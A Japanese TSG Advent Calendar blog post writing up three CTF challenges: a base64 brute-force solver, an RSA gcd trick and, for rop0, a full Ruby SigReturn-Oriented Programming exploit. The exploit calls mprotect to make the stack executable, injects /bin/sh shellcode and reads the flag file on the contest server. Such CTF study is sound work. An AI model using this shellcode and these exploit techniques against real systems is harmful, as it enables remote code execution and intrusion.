駒場祭CTF Day3 writeup (Repeat64, RSA modoki, rop0)

この記事はTSG Advent Calendar 20187日目の記事です。
adventar.org
昨日はakouryyさんの駒場祭 codegolf day2 writeup (or Haskellゴルフのすすめ)でした。

一つ前の記事で、駒場祭CTF Day1の問題の公開をしました。
Day1は出題側でしたが、Day3ではプレイヤーをしました。
本番中では自分ではLeap ItとRSA modokiだけ解きましたが、そのあと全部解きました。
同Advent Calendar 4日目の記事でmoratoriumさんがwriteup全部書いてくれたので、なんか書く価値がゼロではなさそうなものだけ書きます。
moraprogramming.hateblo.jp

Repeat64

2文字列の間の距離を、各位置の文字のbyteのxorの総和として定義します。
最初の方から、2文字の文字列全通りのうち、それに10回base64を重ねた結果と期待される出力の間で距離が最小なものをとり、その2文字のうちの1文字目だけの方を確定させ、続きをします。

rubyで書くとこんな感じです。

require 'base64'
s = `cat output_repeat64.txt`
cs = [*?A..?Z,*?a..?z,*?0..?9,?{,?},?_]
def e(x); Base64.encode64 x; end
def dis(x,y); x.bytes.zip(y.bytes).inject(0){|s,(x,y)| (x^y) + s}; end
100.times.inject(""){|t,_| p t; t+cs.repeated_permutation(2).min_by{|x| x=t+x.join; dis(10.times.inject(x){|s,_| e(s).gsub("\n",'')}, s)}[0]}

RSA modoki

想定解とも、moratorium解法とも違うやり方をしました。

, と定義します。
これらは今回渡される情報に含まれていて、既知です。

これは定義より、あるがあって、, が成立します。

よって、が成立することが十分期待できるのですが、が巨大なため、まともには計算できません。
ここで、gcdを求めるためのユークリッドの互除法アルゴリズムを考えたりすれば、すぐにが成立することがわかります。
は比較的小さいため、これは現実的に計算ができます。
です。

e = 65537
n = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373           

z = 375612358701229073413882940002322411554848628784774745002742479074624937864104171326560375938134436592822640458928924467
w = 632046538584332201873274417878381858396228945227318911729612016577023469248601061277855710342231510600619284695220328003
kM = e^e - z
lM = lift((Mod(n, kM)^e) - w)

print(gcd(kM, lM))

rop4/rop1

競技中は一切見なくて、終わった後に眺めたんですが、はじめのうちはなにしてほしいんだか全然わかりませんでした。
いくらかして「あー、retの前に自分の好きな値1byte書き込めるのか」となりましたが、結局書き込みは使いませんでした。

最終的な解答は、下です。rubyです。なんかさとすさんに言われたので、スタックサイズゴルフしたあとの結果です。payloadの部分は一切無視です。rop0です。

SigReturn Oriented Programmingというのをやります。
sigreturnのsyscall noは15なので、syscallをする前にeaxを15にしなければならないのですが、それはreadに15byteの入力を与えてやることでできます。
一番始めのもともとのreadでsigreturnへの引数スタックを構築し、始めのropでreadを呼び、次のrop addrとなるsyscallのアドレスをいれつつ15byteのデータを送ることでeaxを15に調整。そしてsigreturnでmprotect syscallを呼び出し、stackをexecutableに設定。sigreturnの引数のrspからのropで、シェルコードをスタック上に書き込み、ropでそのシェルコードにジャンプ。
payloadのところのrop gadgetを使わない制限を置くと、基本的にread先、サイズが固定されてしまうので、サイズ256のreadに今回の240byteのデータを送りつけるのはわりとフル活用していると言えます。
もし規定のreadサイズが100byteとかだと、payloadなしだときつそうです。知らんけど。

#encoding: BINARY
require 'socket'

#s = TCPSocket.new('localhost', 4567)
s = TCPSocket.new('external.pwn.ctf-day3.tsg.ne.jp', 30000)

stack = [
  0x400120, # read 15 byte
            # syscall (sigreturn)

  *[0]*5,   #
  *[0]*8,   # r8-r15
  0x800000, # rdi  addr
  0x100,    # rsi  len
  0x400120, # rbp <= new rsp
  0x40013c, # rbx
  0x7,      # rdx  prot
  0xa,      # rax  mprotect
  0x0,      # rcx
  0x800000 + 8*16, # rsp
  0x40013c, # rip
  0x0,      # eflags
  0x33,     # csgsfs
  *[0]*4,   #
  0,        # &fpstate
].pack("Q*")
puts stack.size

s.write stack.ljust(0x100, ?0)

s.write [0x40013c, 0].pack("Q*").ljust(15, ?0)[0,15]
s.flush
sleep 1

# http://shell-storm.org/shellcode/files/shellcode-806.php
sh = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# add rsp, 0x100
sh = "\x48\x81\xc4\x00\x01\x00\x00" + sh
s.write ([0x800008].pack("Q") + sh).ljust(0x100, ?0)

s.puts 'ls -l'
s.puts 'cat /home/*/flag'
s.puts 'exit'

while l = s.gets
  puts l
end

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駒場祭CTFではないんですが、同じスコアボードを使いまわしてmoratoriumくんが謎問を公開しています。
ぜひ解いてあげましょう。僕はちゃんと解きました。
まあmin-camlをこのためだけに読むのもあれなのは確かなのですが。
moraprogramming.hateblo.jp

明日のTSG Advent CalendarはhakatashiがTSGアニメ鑑賞会の話をしてくれる予定っぽいです。